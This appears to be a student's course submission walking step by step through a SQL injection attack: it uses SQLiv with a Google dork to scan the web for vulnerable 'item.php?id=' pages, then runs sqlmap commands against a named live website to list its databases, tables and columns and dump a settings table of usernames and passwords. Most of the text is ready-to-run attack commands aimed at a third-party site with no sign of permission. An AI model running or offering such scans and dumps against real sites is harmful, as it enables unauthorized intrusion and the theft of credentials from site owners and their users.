Name: Faizan Ahmad

Roll Number: 221434448

Course: Comp 421 B

Submitted to Professor Dr. Saad Bin Saleem

First, we will analyze if the database security can be attacked or not.

Step 1: Installing tool SQLiv

We will install SQLiv

After installation of SQLiv we will store it in the directory /usr/bin/sqliv. It can be accessed from the terminal by the command of “sqliv”.

Step 2:

Google dorking will done the scanning and will help in finding the hole in targets. For that purpose lets use simple dork and will allow SQLiv to scan through the targets each one of them. It will be searching for vulnerabilities for the URL pattern “item.php?id=”.

~# sqliv -d inurl:item.php?id= -e google -p 100

At the start due to its default settings on search engine it will crawl of first page which comes out to google 10 sites per page. Therefore, we give -p 100 to 10 pages.

Step 3:

After we have found one SQL injection target, further steps will be followed to do the attack using SQLMap. Let us take a look at one of them, firstly we will show the database name while inside the database there are columns and rows which have data inside them.

Target URL : <http://www.acfurniture.com/item.php?id=25>

Part A. Enumerate Database Name

Commands:

~# sqlmap -u “TARGET URL” --dbs

-u / --url : Target URL

--dbs : Enumerate Database/s name

The command in the compiled form will be,

~# sqlmap -u “http://www.acfurniture.com/item.php?id=25” –dbs

Database name is found “acfurniture”.

Part B: Enumerate Table name

Commands:

~# sqlmap -u “TARGET URL” -D database-name –tables

Compiled Command:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture –tables

Now, we have showed that the site acfurniture.com has two databases acfurniture and information\_schema.

Database acfurniture has four tables: category, product, product\_hacked, and settings. We have found that no table name is compromised but lets keep searching and have a look inside the table.

Part C: Enumerate Columns

Command:

~# sqlmap -u “TARGET URL” -D database-name -T table-name –columns

Compiled command will be like,

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture -T settings –columns

And we will have the output.

This setting table consists of 6 columns and this is a credential account. Now lets dump this data.

Part D: Dump Data

Command:

~# sqlmap -u “TARGET URL” -D database-name -T table-name -C columns –dump

Compiled command will be like,

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture -T settings -C username,password –dump

The output will be shown in which username, email and password is shown.

Now we have done dumping data into database using SQL injection.